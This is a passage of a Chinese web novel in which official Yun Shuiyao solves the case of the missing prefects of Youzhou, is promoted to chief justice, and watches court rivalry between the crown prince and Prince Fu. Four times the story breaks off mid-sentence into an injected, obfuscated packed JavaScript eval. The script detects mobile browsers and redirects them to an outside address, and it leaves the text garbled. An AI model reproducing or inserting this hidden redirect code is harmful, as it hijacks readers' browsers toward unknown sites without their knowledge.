幽州司马张呈祥站在云水谣身边,云水谣便跟他商议:“张司马,如今前两任刺史的尸身找到了,倒是可以向皇上交差了。可是掳走他们的郭奇,是太子府侍卫。也许太子跟此事无关,但眼下郭奇已死,找不到更多证据,太子岂非要含冤受屈?” 张呈祥道:“要定罪,除了要有人证,还得有物证。根据赵将军的供词推测,郭奇他们掳走前两任刺史,是求财。那么,只要他们搜刮到的钱没有进入太子府,太子殿下自然可以辩解一二。郭奇未必是替太子办事,也许是他自己临时起意,想敲诈两位刺史;也许他是受了其他人的指使。 他虽然已死,但也不是完全没法查。您让人画出这四名死者的画像,张贴在各处。如果有百姓曾经见到陆、林两位刺史或是郭奇、这个农夫曾经形迹可疑,就来官府报告。也许能搜集到更多线索。” 云水谣点头道:“张司马言之有理,那就先张贴画像,向百姓询问线索吧。” 陆文远、林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126212|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 益恭两位刺史的画像不难画,有很多人都见过他们,可以详细地描述他们的样貌。 那个农夫在幽州定居多年,他的街坊邻居肯定认识他,只需向他的街坊询问其相貌即可。 至于郭奇的相貌,应该要询问茶楼的伙计。那天郭奇跟陆刺史一起去茶楼喝过茶,茶楼的伙计应该还有印象。 云水谣让小吏们分头负责搜集几位死者的相貌,并找人画出来。 这时已经到晚上了。 云水谣忽然想起,侍卫白东亭还没找到,便询问衙役。 衙役们道:“大人,我们四处都找遍了,没有找到白东亭。” 柳依依道:“大人,白东亭会不会跑了?” 云水谣:“跑?他为何要跑?” “大人不觉得,白东亭身上有诸多疑点吗?首先,他并不是林刺史家中带来的侍卫,而是临时加入的。其次,林刺史被掳走时,只有白东亭一人在场。那么当时,他到底是在保护林刺史,还是帮助另外两个黑衣人一起攻击林刺史?” 柳依依这么一说,云水谣顿时觉得灵光乍现。 白东亭确实是个来历不明的人,之前林刺史遭到刺杀,他怎么会刚好路过,救下林刺史?恐怕,那场刺杀是他自导自演,目的就是潜伏在林刺史身边,伺机掳走他。 云水谣道:“如果是这样,那他为何要一直留在衙门里?” “他留下来,并且表现出很担心林刺史的样子,别人就不会怀疑到他头上。也许,他身上还有其他任务,所以他要留在这里。” 云水谣点头道:“马上发下海捕文书,寻找白东亭。如有将其缉拿归案者,有重赏。” 几个小吏答应了,去找人画下白东亭的画像,张贴出去。 几天后,长史吕民杰来找云水谣,说道:“大人,我彻查了陆文远刺史和林益恭刺史的一些账目,发现了问题。他们在幽州期间,巧立名目,敛财无数,贪污受贿,仗势欺人,留下许多马脚。不过,要彻底坐实这些罪证,还要深入调查,走访民间受害者,力求证据确凿。” 陆文远当了七年的幽州刺史,林益恭虽然只当了一个月的刺史,但之前一直在幽州担任属官,也苦心经营了多年,贪污的钱也不少。 云水谣点头道:“辛苦吕长史了,这件事还是劳烦你来办吧。两位刺史有这么多来历不明的财物,难怪会被人盯上。” 之前天女会一案中,已经确定陆、林两位刺史跟天女会众首领有暧.昧关系,他们的官声已经坏了。如今又查出他们这么多罪状,就更坐实了他们生前是不是什么好官,即便现在死了,也难以赎罪,恐怕皇上会牵连他们的家族。 这些跟云水谣没什么关系,云水谣能找到他们的尸首,已经是大功一件。再把他们生前所做的事查清楚的话,功劳就更大了。 过了一会,有个百姓来到官府,说是有线索要告知长官。 云水谣便让他进来。 这个百姓说道:“大人,小的好像见过郭奇。” 云水谣问:“什么时候见到的?” 183.牙疼 “小人是京城人士,大约在四月份的时候,见到郭奇进入了齐国公府陆家,有些鬼鬼祟祟的。当时小人不认识他,也没在意。这几日小人来幽州探亲,见到了官府张贴的告示,其中有一人的长相我好像见过,回想起来,就是在京城见过的郭奇。” “郭奇是太子府侍卫,你确定他去了齐国公府?” “确定。” “你知道他去做什么了吗?” “不知道。好像郭奇进齐国公府还挺顺利的,门房一见到他就放行了。” “好,多谢你告知,下去领赏吧。” “谢大人。” 齐国公府也是第一任刺史陆文远的家,这一任的齐国公陆陟,就是陆文远的大哥。 郭奇能自由出入齐国公府,莫非他是齐国公的人?如果是这样,他为什么要掳走齐国公的弟弟,敲诈他的钱财?难道不怕被齐国公发现吗? 云水谣觉得很费解。 此事牵涉京城的齐国公府,云水谣远在幽州,很难继续调查。因此,她修书一封给大理寺,说明情况,请大理寺协同调查。 另外,她还上了一封奏折,汇报目前的情况,包括已经找到陆文远刺史和林益恭刺史的尸身,这两任刺史系赵仁顺所杀,赵仁顺已被拘押在狱中,请皇上发落云云。 大理寺的调查需要时日,皇帝的批复也需要一段时间才能到达。 因此,云水谣接着等待。 接下来的时间,长史吕民杰已经查清了陆文远、林益恭两位刺史贪污受贿的罪证,详细记录了下来,云水谣先把这些证据保存,等结案后一同寄送到京城。 这天,柳依依激动地跑进云水谣的房间,道:“大人,白东亭被抓到了!” 云水谣十分高兴,问道:“被谁抓到了?白东亭现在在哪里?” “白东亭就在公堂,抓到他的是一位女侠,大人也认识,不妨猜猜看?” 云水谣沉思片刻,笑道:“是高文锦。” “对了,就是她!” 高文锦是嵩山派的侠女,曾帮着赵仁顺刺史攻打梅花县,后来涉嫌掳走赵刺史,在狱中住了一阵。 云水谣查明掳走赵刺史的是她师兄郑盈尺,就放她离开了。 没想到,还有重逢之日。 云水谣快步来到公堂,见到一个熟悉的高挑身影,正是高文锦。 云水谣道:“高姑娘,好久不见。” 高文锦见到云水谣,亦是有几分激动,道:“云大人近来可好?” “我被手头的案子折磨得焦头烂额的,不过你抓到了白东亭,我可了了一桩心事。你是如何抓到他的?” “自从跟大人分别后,我暂时没有离开幽州,只是到处闲逛。前几日,我发现告示栏中张贴了许多告示,其中一则告示写着,有个叫白东亭的侍卫失踪,他事关大案,需要尽快捉拿归案。我想着,闲着也是闲着,不如就帮忙找到他。我请江湖上的朋友帮忙打听,得知他在芒山一带出没,就去找他,果真找到了,就把他抓了回来。” “原来如此,辛苦高姑娘了。” 高文锦手上抓着一个被绑住了全身的男人,正是林益恭的侍卫白东亭。白东亭已经没了以前仪表堂堂的感觉,看着有几分奸诈。 也许是他觉得自己装不下去了,所以索性不装了。 云水谣让白东亭跪在公堂上,问道:“白东亭,你是什么身份?当初林益恭刺史被擒,你是不是帮凶?” 白东亭偏过头去,不说话。 云水谣对高文锦道:“高姑娘,你可有办法让他开口说话?只要他能招供,本官有重赏。” 高文锦道:“我试试吧。” 高文锦拿出一根细针,扎在白东亭的几个穴位上,白东亭立刻冷汗涔涔,坐立不安,不停地扭动身躯,但疼痛麻痒的感觉还是没法缓解。 他咬牙切齿地道:“你们这是屈打成招!” 云水谣道:“人犯不肯认罪的时候,使用一些刑罚也是律法所允许的。” “我不是人犯!我所犯何罪?” “你既然这么关心林刺史,为何在林刺史的尸身运回来的时候,你没有来看,反而跑了?” “我只是有事离开!” “什么事要跑去芒山这么远的地方?” “这是我的私事,大人无权过问。” 云水谣也不理他,转向高文锦,道:“有没有办法让他更难受?” 高文锦收回了银针,似乎有些犯难。这时,她忽然捏住了白东亭的下巴,往他嘴里看了看。 接着,她说道:“大人,拿一块蜂蜜来,越甜越好。” 云水谣便叫下人拿来一大块蜂蜜。高文锦接过后,直接把蜂蜜放在了白东亭左边的大牙处。 白东亭痛苦地大叫起来,声音比刚才凄惨多了。 他应该有蛀牙,最受不了甜的东西了。 见他这副惨状,高文锦毫不在意,继续向下人要蜜糖。 白东亭惨然道:“不要!我招,求你们给我水漱漱口,我牙疼得不行……” 云水谣道:“想要漱口可以,先说你真正的主人是谁。” “我……我听命于齐国公夫人。” 云水谣皱眉:“齐国公夫人?那就是陆文远刺史的大嫂?” “对。” “你来到林益恭刺史身边,真实目的是什么?” “我……我的牙……好疼啊……能不能先漱口?” 云水谣吩咐左右:“给他一盆水。” 差役们给了白东亭一盆水,白东亭又是漱口,又是喝水,好不容易把嘴里的蜂蜜弄没了,但牙齿还是隐隐作痛。 他等了好一会,等到牙齿不痛了,才能继续开口说话。 “我和郭奇都是齐国公夫人培养的暗卫。夫人得知陆文远大人和林益恭大人都善于敛财,手里有很多来路不明的财富,就想黑吃黑。郭奇本来是夫人派到太子府去的,想寻太子的错处,但一直没有找到。后来夫人就派郭奇去找陆文远刺史,趁机掳走他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129516|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郭奇的父亲本就跟陆文远是朋友,所以陆文远只把郭奇当成是世交的子侄,并不防备。郭奇给陆文远刺史修书一封,说是有重要的事情要告诉他,不能让第三人知道。于是,陆文远刺史就孤身一人去茶楼见了郭奇。 郭奇趁他不备,掳走了他,关在那个农夫家里。那个农夫叫孙宝,也是齐国公夫人的人。郭奇和孙宝在地下室里拷问陆文远大人,逼他吐出钱来。陆文远肯定不会一下子把自己的老底都交出来,所以要慢慢磨。 陆文远刺史失踪后,原来的幽州长史林益恭成了刺史。我们夫人知道林益恭也有很多黑钱,所以也不打算放过他。这次夫人派我去执行任务。 于是,我先找人刺杀林益恭,然后我再出现救他。他把我当成了救命恩人,因此就留我在身边当侍卫,给很高的工钱。我一边当侍卫,一边找合适的机会掳走他。 三月一号的晚上,我终于找到了机会。那天林益恭在衙门忙到很晚,其他官吏都离开了。我灌醉了其他的侍卫,独自一人守在林益恭刺史身边。然后,我给郭奇和那个农夫孙宝发了信号,让他们来掳走林刺史。 他们来了之后,我假装跟他们打斗,林刺史就躲在我身后。这时,我突然反转刀锋,朝身后的林刺史捅了一刀,然后快速把他打晕,让郭奇、孙宝二人把林刺史带走。 而我则继续留在衙门,假装关心林刺史的去向,不愿离开。别人都觉得我是忠心,实际上我是想看看还有没有其他官吏拥有来历不明的巨额财产,我可以继续布局抓他们。 不过,幽州衙门里的其他官吏并没有发什么横财,后来继任幽州刺史的赵仁顺也没多少钱,因此我继续潜伏,直到云大人到来。 在这段时间,陆刺史和林刺史被关在一起,郭奇和农夫孙宝二人每天都拷问他们,榨出他们的钱财。等钱积累到一定数量了,郭奇会回京城见齐国公夫人,把钱交给她。之所以不通过钱庄寄钱,是怕露出马脚。 从四月份开始,我就失去了郭奇和农夫孙宝那边的消息。我觉得有些奇怪,便抽空去了孙宝家看,发现他家没人。我又想去地下室看看,却发现通往地下室的暗门已经被水泥封死。 那时候我没想到是赵仁顺将军杀了人,并将门封死。我以为是齐国公夫人有其他命令,让郭奇、孙宝二人转移。他们来不及通知我,直接离开,所以才没了消息。我以为地下室的暗门是他们自己封上的,为了不让别人发现。 直到前几日,赵仁顺自首,前两任刺史和郭奇、孙宝的尸体被发现,我才知道发生了什么。我觉得没有继续留下去的必要,万一暴露了自己的身份就不好了,所以我直接离开了。 我并未回京城,而是待在人烟稀少的芒山一带,打算等风头过去了,再回齐国公府找夫人。” 云水谣问道:“所以,郭奇表面上的身份是太子府侍卫、陆文远的世交之子,实际上是齐国公夫人的人?” “对。” “齐国公夫人为何要做这些事?她缺钱花?” 184.奏疏 白东亭道:“这我们就不知道了,我们只是暗卫,听命行事。” “齐国公夫人做这些事,是不是出于齐国公的授意?” “这我们也不知道,我们平时都是跟夫人单独联络的。至于是不是齐国公指使她做这些事,就不好说了。陆文远大人是齐国公的弟弟,想来齐国公不会这样对付他吧。” 云水谣现在也没法下定论。对很多人来说,只要有足够大的利益,什么人伦纲常,都可以不顾。 齐国公陆陟是贤妃之父,贤妃生有二公主、六公主,也挺得宠的,按理说陆家不会缺钱才对。 不过,这些事就不在云水谣的义务范围内了,她只需把自己查到的事上报皇上,把证据移交大理寺,后续的事自有大理寺继续调查。 云水谣整理了一下所有的线索,把前因后果理清楚,重新写了一份奏折。主要内容是: 失踪的第一任刺史陆文远、第二任刺史林益恭,因贪污受贿、大肆敛财,被齐国公夫人盯上了。齐国公夫人黑吃黑,派出郭奇、白东亭等人到两位刺史身边,设法掳走他们,并在农夫孙宝家里进行拷问,得到两位刺史的大部分钱财。 而这些钱,大概是由郭奇带回齐国公府,交给齐国公夫人。此事是猜测,有人见到郭奇进出齐国公府,但具体去做什么未知,还需大理寺调查。 在两位刺史任上,有一个叫“天女会”的敛财组织,其首领凭借美貌,勾.引两位刺史,得到两位刺史的暗中庇护,让她们能够欺世盗名,聚敛财富。而天女会所聚敛的财富,也分了一部分给两位刺史,最后都落到了郭奇等人的手上,应该也是交给齐国公夫人了。 第三任刺史赵仁顺上任后,一心扩张领土,无心寻找前两位刺史。但他却无意之间发现了前两位刺史的下落,为了保住自己的地位,他狠心杀了前两位刺史,并将他们的尸体留在农夫孙宝的家里,还用水泥封住了地下室的暗门。 为了尽快攻下梅花县,赵仁顺刺史请了一个叫高文锦的女侠帮忙。后来赵刺史失踪,疑似被高文锦掳走,调查之下发现,掳走赵刺史的是高文锦的师兄郑盈尺。 郑盈尺是瀚海国将领之子,为了换回羁縻在瀚海国的赵仁顺,已经将郑盈尺交还给瀚海国,没法将其缉拿归案。 至于第四任刺史董商衡,则是死在天女会首领手中,详细经过已经在前一份奏折中写明,且天女会各首领均已伏法,此事已经了结。 陆文远、林益恭、董商衡等人的尸体,与各项证据一并移交大理寺。 活着的前任刺史赵仁顺,因身犯命案,也一并押解京城。 至此,刺史失踪案已调查完毕。 除了董商衡刺史外,其他三任刺史各有各的问题,需要皇帝斟酌着定罪。 把所有的人证、物证、尸体送走后,云水谣松了一口气,终于能安心休息了。 大约一个月后,此案有了最终判决。 董商衡无辜惨死,赠其家五百两银子的丧葬费,追赠董商衡为文康伯,并将其生前诗文编纂成集,交由集贤殿书院办理。 赵仁顺杀死前两任刺史,且在攻打梅花县一事上贪功冒进,虽然收复了梅花县,但造成了重大人员伤亡,功不抵过,枭首示众,其家产充公,家人贬为庶民,不予追究。 陆文远、林益恭两位刺史虽遭杀戮,但平日敛财无数,鱼肉百姓,包庇恶霸,欺上瞒下,可谓死有余辜。其妻儿没入奴籍,家产充公。不过家族的其他亲戚并未受到太大牵连。 同时,陆文远是齐国公之弟,林益恭是平国公之子,两位国公对家族子弟缺乏约束,致使其多行不义,残害百姓,亦有失职之罪。念在两位国公往日功勋,只处以罚款三千两、收回永业田各两百亩,除此之外不再追究。 另外,大理寺查明,郭奇、白东亭等人均系齐国公夫人沈氏豢养之暗卫,他们残害陆文远、林益恭两位刺史之事,亦出于齐国公夫人之授意,与齐国公无关。 同时,齐国公夫人还做过其他坏事,也一并治罪,判处死刑。 幽州刺史云水谣,破案有功,赏赐黄金四百两,锦缎百匹,京城宅院一座。同时,之前云家所查抄的旧府邸,归还给云水谣,户主由云水谣之父变更为云水谣本人。 也就是说,云水谣以前的家被还回来了,而且还在云水谣自己的名下。 以后,家人们如果从岭南回来,就相当于是住在云水谣的房子里了,云水谣的话语权大大增加。 虽然她原先在家也比较有地位,但自己当户主的感觉还是不一样的。 以后长辈们也没法强迫云水谣做什么事,毕竟连住处都是云水谣提供的。 而且,皇帝另外赏赐了云水谣一座宅院,云水谣如果调回京城,就可以自立门户了,不必跟家人住在一起。 皇帝正式给予了她自己当家立户的权利,这比什么赏赐都让她高兴。 以前她的地位源自父亲,如果按部就班地嫁人,地位则源自丈夫。但现在不一样,她的地位完全源自自己,命运掌握在自己手中,没有人能拿捏她。 云水谣觉得呼吸都轻快了。原来有了像男人一样的权力,最大的感觉不是扬眉吐气,而是轻松。这份轻松源自底气十足之后的松弛感。她自己就可以做自己的主了。 云水谣很开心,在最好的酒楼摆了几桌酒席,宴请同僚。 她倒是想宴请朋友,但她的朋友中,在她身边的只有柳依依一人,其他人都跟她相隔较远,只能作罢。 元景佑、杜羽、安正则都送来了贺礼,元景佑送的是雍州的小吃、玩偶等物,都是云水谣在雍州时经常买的东西。杜羽送的是一大盒珍珠,每一颗的颜色都不同,但大小相近,颗颗圆润,一看便价值不菲。不管是拿来串成项链,还是放着观赏,都很不错。 安正则送的是云水谣一直在找的几本古籍,还有一卷他自己抄写的《灵飞经》。之前在文庙遇见他时,云水谣随口一提,说让安正则抄写东西给自己,要一卷《灵飞经》。没想到安正则一直记着,真的抄写了,寄给了云水谣。 这上面的字迹十分工整,让人赏心悦目。 云水谣把这些礼物都珍藏了起来。 —— 贤妃宫里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136443|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 贤妃听说母亲齐国公夫人被判处死刑,有些犹豫,不知道是否要去向皇帝求情。 她的两个女儿现在都在身边,年幼的六公主哭着请求她:“母妃,您能不能去求父皇,赦免外祖母?” 贤妃为难道:“皇上现在正在气头上,而且你外祖母确实犯了不少罪,恐怕是罪无可恕……” 身边的嬷嬷也劝说道:“娘娘,您一向得皇上宠爱,只要您开口,皇上一定会网开一面的……不管齐国公夫人做了什么,都是为了您啊……” 二公主坐在一边,什么也没说,拿起滚烫的茶杯吹了一口。 贤妃终于下定了决心,道:“事到如今,我不能再牵连自己和女儿……来人,关闭宫门,这段时间不出门了。” —— 云水谣继续担任幽州刺史,每天都很忙。但她却觉得很充实,自己也年轻,经得起辛苦。 不到一年,她就成了人人称道的好官。 梅花县的百姓也在她的治理下,逐渐增加了对大夏的认同感,不再闹事了。 正好大理寺卿年老致仕,皇上就调任云水谣为新任的大理寺卿。 时隔数年,云水谣终于回到了京城。 之前皇帝赏赐了云水谣一座宅院,云水谣就住进了那座宅院里。 她一路上舟车劳顿,打算休息两天,再去大理寺报道。 第二天,她还没起床,丫鬟兰心就进来说:“小姐,太子府派人来了,您赶紧去见见吧。” 云水谣赶紧起身,随便洗漱了一下,穿上官服,来到客厅。 客厅里是一个小厮,他见了云水谣,恭敬行礼,道:“云大人,太子请您晚上去太子府饮宴。宴会酉时开始。” 云水谣点头:“好,本官会按时赴约。” 过了这么久,云水谣终于要见到自己的主公了,心情有些激动。 她之前投诚太子一党,不过始终没见过太子。 这次是第一次见面,她好好准备了一番。 离晚宴还有一个时辰时,云水谣就出发了。 她想早点到,免得出什么差池。 路上,要经过一条繁华的街道。这里人来车往的,前进速度比较慢。 云水谣索性叫车夫继续放慢速度,以免冲撞了行人。正好她也可以看看沿街的店铺,有什么想要的,就叫丫环下去买。 这时,有另一辆马车对向而来,其装饰比云水谣的马车还豪华。 那辆马车上挂着几个灯笼,上面写着“福”字。 云水谣问车夫:“对面那辆马车是福王府的吗?” 车夫:“应该是的,坐这种豪华马车的,要么是福王,要么是他的爱妾,我们还是往旁边避让一下。” “嗯。” 车夫把马往旁边赶了赶,把马车拉到街道的边缘,停了下来,方便对向的马车驶过。 那辆马车经过云水谣身边时,马车里的人刚好掀开帘子看外面。那人是个容颜清丽、衣饰华贵的少女,云水谣觉得有几分眼熟。 对方先开口打招呼了:“云大人,好巧。” 185.锦鸡 云水谣:“你认得我?” “大人真是贵人多忘事,您可还记得《还魂草》?” 云水谣忽然想了起来:“你是秦婉君?” “正是。” 秦婉君的马车已经慢慢走远,两个人没法继续搭话,云水谣便放下了帘子。 她没想到,竟会偶遇秦婉君。 秦婉君本是个女话本先生,之前云水谣在雍州任职时,还去勾.栏看过她的新戏《还魂草》。 后来,天神教一案爆发,教主闵红姑等人被抓,本以为一切尘埃落定,但没想到有一些线索显示,秦婉君可能跟此案有关。 可秦婉君已经辞了工,不知所踪,也就只好算了。 再次听到秦婉君的消息,是听说她嫁给福王为妾。那么,她是福王的暗线,其实已经可以确定了。 云水谣刚才虽然见到了她,却不能抓她,因为证据不足。 天神教一案早已了结,相关涉案人员也都被杀,除非有切实的证据,否则难以将秦婉君入罪。 因此,云水谣只能按捺下复杂的心情。 很快,就到了太子府。 太子府的家丁引云水谣入座。 这次的晚宴在一个水榭举行,一共有七八桌。 云水谣的位置比较好,大概是因为她的官职较高。 时候还早,大部分宾客未到,只有三三两两的宾客在看着水面。 云水谣问家丁:“这次晚宴都请了谁?” 家丁报出一长串名字,有云水谣听说过的,也有没听说过的。大部分宾客都是刚刚调回京城的。 看来,太子这次设宴的目的,是给新来的京官们接风洗尘。 太子自然不可能只宴请自己一党的官员,不然容易被看出来。凡是身份比较高的官员,不论其立场如何,都受邀了。 因此,云水谣隐藏在这些京官中,并不显眼,别人也不会猜到她已经投靠了太子。 过了一会,一个风姿卓越、仪表矜贵、天日之表的年轻人朝这边走来。 他身边有两个年轻人陪着,一个是安正则,另一个是跟他有几分相似、略带稚气的少年。 看这个年轻人的穿戴和气度,云水谣猜到他就是太子。 一行人走到云水谣面前,就停了下来。 云水谣知道安正则看不见她,就主动开口道:“安公子,好久不见。” 安正则笑道:“原来是云大人。我旁边这位便是太子殿下,太子殿下旁边的是康王。” 云水谣赶紧行礼:“下官拜见太子殿下,拜见康王殿下。” 太子微微一笑:“免礼吧。云大人公忠体国,聪慧端方,真乃我大夏之福。” 说着,他就继续往前走,安正则也没有跟云水谣多说什么,跟着太子离去。 他们的表现,完全就像是跟云水谣没什么私下来往的样子。 云水谣觉得,他们都挺会演,那自己也要好好演,不能露了破绽才是。 康王对太子道:“皇兄,我用陶土做了一个花瓶,等下拿给你看看。” 太子笑道:“这次的花瓶不漏吧?” “不漏,我哪能每次都做漏了呢?” “好吧,那我可要看看你的大作。” 他们一边闲聊,一边走远了。 看来传言果然不错,康王跟太子的关系比较好。 因为康王的生母和太子的生母是亲姐妹,都出自安氏,安正则便是他们两人共同的表兄弟。 太子走到其他官员身边,也是随便聊两句便离开,时间跟和云水谣交谈的时长差不多。 光从太子的态度上,根本看不出他更喜欢哪个官员,或是更信任哪个官员。他的态度永远是春风化雨,一视同仁,让人一见便产生敬仰之意。 有如此城府,不愁大业不成。 过了一会,宾客到齐,晚宴开始。 各种色香味俱全的菜肴流水似的被端上来,云水谣专心吃着,大快朵颐。 康王坐在太子身边,一边吃,一边跟太子说话。 他每次说话,太子都会耐心倾听,给予回应。 康王遇到自己喜欢的菜,一份吃不够,还会把太子那一份直接拿走,给自己吃,太子并不介意。 宴会结束,云水谣猜想太子可能有话嘱咐自己,因此便没有直接离去,而是在座位上再坐一会。 有个小厮过来道:“云大人,宴会已经结束,小的送您出去。” 云水谣有些惊讶,难道太子并没有别的话要嘱咐自己? 随即她想到,就算太子有什么吩咐,也不会在这种场合单独跟云水谣说话,否则容易被人注意到,进而被有心人猜到云水谣和太子的关系。 这是太子思虑周详的地方,云水谣想明白了,就直接起身,跟着那小厮离开。 小厮一直把云水谣送到马车边,随即很快地说道:“太子让小的告诉您,大理寺卿的职位至关重要,您需勤勉努力,处理好大理寺的积压案件,做出政绩来,这样才能在朝堂上有更多话语权。” 云水谣点了点头,也没说话,直接上了马车。 原来太子用这种方式来传话,确实能够掩人耳目。 太子的意思她已经领会了,接下来只需做好大理寺卿这个职位就好。 第二天,云水谣便去大理寺报道了,顺便看看积压的案件。 她先处理了一些小案子,这样比较有成就感,也更能激励自己继续做事。 几天后,发生了一件令朝野震惊的事。 某天早上,忽然有十几只红腹锦鸡飞到福王府,盘桓在王府上空,半个时辰才离去。 红腹锦鸡虽然是鸡,但长得五彩斑斓,飞起来很像凤凰。尤其是十几只一起绕着王府飞,就像是神话小说中的场景,被百姓们传为祥瑞。 之前福王因为蝮蛇帮一案失宠于皇帝,但出了这事后,皇帝又对福王另眼相看了,觉得这个儿子是天命所归。 虽然不至于马上让他取代太子,但是在几天后的早朝,皇帝公布了一个消息。 一个月后的漱石山祭天仪式,将由太子和福王共同主持。 漱石山祭天仪式,是皇室的传统,每年春季都会举行,祈求接下来的一年风调雨顺。 但是,这个仪式通常是皇帝或是储君主持,还从未有亲王主持的先例。 皇帝是天子,储君自然是天孙,祭祀上天的事,得由皇帝或太子来做才名正言顺。 因此,也有一些大臣提出质疑。 皇帝却说,太子和福王都是嫡子,虽有长幼之别,身份却一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140561|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样尊贵。而且福王府突然出现十几只红腹锦鸡,这是祥瑞之兆,代表上天认可福王。 因此,让福王和太子一起去祭天,更容易获得上天的赐福。 有些谨守礼法的大臣说,国家不能有两个储君,请皇帝要么废了太子,让福王当太子;要么就只让太子一人去祭天,不要让福王参与。 但皇帝严厉斥责了这些大臣,说自己并未立两个储君,太子是太子,福王是福王,请这些大臣不要混淆视听。 同时,福王一党还有一些残余的势力,也纷纷赞同皇帝的旨意,说福王跟太子同去必定能获得更多赐福。 而偏向太子的官员,不敢据理力争。 此事尘埃落定。 云水谣也在朝堂上,但她是大理寺卿,主管刑狱,像这种话题不便发言。一旦她帮太子说话,旁人难免要怀疑她是太子一党,因此在明面上,她还是明哲保身为好。 云水谣很谨慎,太子一党没有明确叫她做的事,她不会自作主张。 就连太子的外祖安家,也没有发表什么意见。 祭天这事,说小不小,说大也不大。虽然在皇帝心中,福王的地位又上来了,但只要皇帝没有明确要废太子立福王,就没有到孤注一掷的境地。 安氏一族很能沉得住气,云水谣也一样。 不过云水谣觉得,自己是不是应该去太子府一趟,跟太子等人商议这件事该如何处理。 她走到大殿外,有个人脚步匆匆的,不小心撞到了她。那个人手上的奏折也掉落一地。 虽然是他撞的云水谣,云水谣还是蹲下身来,帮他整理奏折。 云水谣抬头一看,此人竟是中书舍人安亭桓,也就是安正则的叔父。 安亭桓一边整理奏折,一边小声说道:“近期太子在风口浪尖上,跟太子私下有联系的官员最好别去太子府,以免被有心人发现。” 云水谣心中一惊:“多谢提醒。” 她觉得自己还是太欠考虑了,这里是天子脚下,行事要比以前更为谨慎才对。 皇帝让福王和太子一起去祭天,别人都猜测太子会有所不满。那么,在这段时间出入太子府的官员,八成就是太子一党,为太子出谋划策的。 云水谣虽然什么都没说,但安家的人记得来提醒她,说明他们能猜到云水谣的心理。 这对于久经官场的老狐狸们来说,自然不是难事。 因此,云水谣收心,不管其他人为祭天之事吵得如何沸反盈天,她都只安分地做好大理寺卿分内之事,不该说的话一句都不说,不该去的地方一个都不去。 倒是有一个人受到了皇帝的斥责,就是康王符谨。 康王年轻气盛,知道福王要跟太子一同去祭天仪式,便到皇帝面前据理力争,维护太子。 皇帝斥责了他一顿,倒也没真的责罚他。 康王虽然不是最受宠的儿子,也颇得皇帝重视,而且他母亲德妃如今管理六宫,皇帝还是很信任他们母子的。 先皇后虽崩,但有亲妹妹德妃在,皇帝每每见妹思姐,不忍心废了太子。 因此,太子和福王虽有斗争,但维持了微妙的平衡,谁也占不了上风。 就比如这次祭天仪式,皇帝虽然有心让福王参与,但也没说太子不能参与。 186.偏袒 皇帝深知康王是小孩心性,自然不会真的跟他计较。 康王如果不来找皇帝吵一架,反而有异常。 倒是康王因为被斥责,较了真,不愿意搭理皇帝,直接跑到太子府里住着了。 —— 太子府。 太子刚把怒气冲冲的康王安慰好,让他去客房歇着。 相比于康王,太子倒是平静很多。皇帝偏心福王,也不是一天两天了,他早就习惯了。 他也有自信,福王再怎么蹦跶,也赢不了他。 安正则走了进来,屏退左右,对太子道:“太子殿下,离祭天仪式还有二十多天,是否要想个办法让福王去不了?” 太子摇头:“不必。关键不在于福王去不去,而在于父皇想让福王去。就算这次去不成,父皇也会想出别的事,让福王来压我一头。” 安正则:“其实,什么红腹锦鸡,凤凰祥瑞,恐怕都是人为。我手底下的暗卫,就有几个能召唤动物的,之前派到云大人身边的乙木就能做到。福王手下,自然也有能人。” 太子点头:“确实如此。我从未相信过以福王的德行,能引来凤凰祥瑞。这是他复宠的手段,但归根到底,是父皇心里还重视他。否则,他就算把真凤凰招来,父皇也会当做没看见。” “殿下说得不错。但是,我们真的要让福王一起去参加祭天仪式?一旦他去了,民间就会认为他虽无太子之名,但也跟太子差不多。到时候,把您置于何地?” “真的假不了,假的真不了。别说他去祭天仪式,就算他坐上龙椅,也会被拉下来。” —— 这日是雨水节气,一大早就淅淅沥沥地下起了雨。 云水谣刚忙完几个小案子,决定给自己放个假,出去走走。 